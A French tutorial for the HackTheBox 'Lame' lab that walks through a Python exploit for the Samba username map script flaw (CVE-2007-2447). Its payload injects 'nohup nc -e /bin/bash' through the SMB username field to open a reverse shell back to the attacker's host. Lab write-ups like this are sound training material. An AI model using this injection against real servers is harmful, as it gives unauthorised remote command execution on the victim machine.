
Implémentation éducative d'exploit pour la vulnérabilité d'exécution de commande via le script de mappage de nom d'utilisateur (username map) de Samba 3.0.20-3.0.25rc (CVE-2007-2447) avec une charge utile de client SMB en Python et un reverse shell netcat.
Exploit original : https://www.exploit-db.com/exploits/16320
Nom de l'exploit : Samba username map script RCE
CVE : 2007-2447
Lab : Lame - HackTheBox
Une vulnérabilité dans les versions de Samba inférieures à 3.0.25 permet à un attaquant d'exécuter des commandes système en envoyant une requête malformée comme nom d'utilisateur au serveur SMB.
Voici un exemple d'utilisation de la commande nohup pour créer un répertoire :

Du point de vue programmatique, /= signifie opérateur de division et d'affectation généralement utilisé dans les boucles. Mais pourquoi devons-nous l'utiliser ici ?
La raison de son utilisation est de diviser le champ domaine et le champ nom d'utilisateur lors de l'envoi de la requête, une meilleure explication peut être trouvée ici. Nous utilisons le champ nom d'utilisateur pour ouvrir une connexion netcat et nous connecter à notre serveur.
Écrire l'exploit est très facile car il existe déjà une bibliothèque cliente SMB pour Python (installer le package python3-samba), il suffit donc de l'utiliser comme ceci :
username = f"/=`nohup nc -e /bin/bash {lhost} {lport}`"
conn = SMBConnection(username, '', '', '')
try:
print("Sending payload")
conn.connect(rhost, rport, timeout=10)
except Exception as e:
sys.exit(e)
Comprenons comment fonctionne SMBConnection, j'ai fourni le username mais que sont les 3 autres chaînes vides ?
Ces 3 autres arguments sont : password, my_name & remote_name
Pour rendre notre exploit facile à lire, nous pouvons les écrire explicitement avec leurs valeurs, mais les valeurs des arguments après username ne sont pas requises :
conn = SMBConnection(username=username, password='', my_name='', remote_name='')
La partie suivante est plus facile à comprendre, nous utilisons l'instance de la classe SMBConnection pour établir une connexion et nous fournissons l'IP de la cible, le port et un délai d'attente en secondes :
conn.connect(rhost, rport, timeout=10)
Dans cette session de développement d'exploit, vous avez appris à créer un client SMB et à vous connecter à un serveur SMB. Vous avez également découvert des commandes Linux telles que nohup avec lesquelles vous pourrez ensuite expérimenter. Vous avez appris à vous connecter de la machine victime à votre machine attaquante en utilisant netcat, ce qui pourrait vous être utile dans votre parcours de développement d'exploit.